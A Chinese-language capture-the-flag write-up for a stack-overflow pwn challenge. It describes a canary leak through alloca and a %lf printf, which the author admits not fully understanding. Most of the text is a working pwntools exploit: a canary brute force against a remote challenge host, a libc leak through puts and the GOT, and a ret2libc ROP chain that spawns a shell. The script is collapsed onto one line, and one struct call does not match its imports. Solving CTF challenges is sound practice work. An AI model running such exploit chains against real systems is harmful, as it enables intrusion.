保护

main 函数

mian 主要是利用 alloca 函数在栈上开辟空间,然后按循环执行 play_game 函数

play_game 函数是 输入一个数 v2 ,然后输入随机数种子 seed ,再利用 rand 生成的随机数与 v2 对比,如果差值 < 0.5 就能触发栈溢出漏洞
所以泄露 canary 就成了最后一道难关,这里我没弄明白是怎么泄露的。
像 Zzzzzz 大佬是利用 alloca 函数控制栈,使 canary 在 rsp + 8

然后利用 %lf 泄露,但是我没弄明白这是为什么,printf 函数是怎么输出 canary 的,这道题也只有几个人出了,也没人好问,只能等我之后有能力了再看了
exp
from struct import pack from ctypes import * from LibcSearcher import * def s(a): p.send(a) def sa(a, b): p.sendafter(a, b) def sl(a): p.sendline(a) def sla(a, b): p.sendlineafter(a, b) def r(): p.recv() def pr(): print(p.recv()) def rl(a): return p.recvuntil(a) def inter(): p.interactive() def debug(): gdb.attach(p) pause() def get_addr(): return u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) def get_sb(): return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00')) context(os='linux', arch='amd64', log_level='debug') #p = process('./pwn') #p = remote('1.14.71.254', 28514) elf = ELF('./pwn') libc = ELF('./libc.so.6') #libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') def double_to_hex(f): return struct.unpack('<Q', struct.pack('<d', float(f)))[0] #gdb.attach(p, 'b *0x401451') # laek canary while 1: #p = process('./pwn') p = remote('1.14.71.254', 28514) sla(b'> ', b'xshhc') sla(b'> ', str(15)) sla(b'goal: ', b'.') p.recvuntil('near ') canary = p.recvline().strip() canary = double_to_hex(canary) if canary!='0x8000000000000000' and canary!='0x0': print(hex(canary)) sla(b'seed: \n', b'1') break else: p.close() # leak libc_base ret = 0x40101a rdi = 0x401773 sla(b'goal: ', b'9384') sla(b'seed: \n', b'1') payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(rdi) + p64(elf.got['printf']) + p64(elf.sym['puts']) + p64(elf.sym['play_game']) sa(b'you\n', payload) libc_base = get_addr() - libc.sym['printf'] # system('/bin/sh\x00') system, binsh = get_sb() sla(b'goal: ', b'9384') sla(b'seed: \n', b'1') payload = b'a'*0x18 + p64(canary) + b'a'*8 + p64(ret) + p64(rdi) + p64(binsh) + p64(system) sa(b'you\n', payload) inter() print(hex(libc_base)) print(hex(canary)) #inter()

加载中...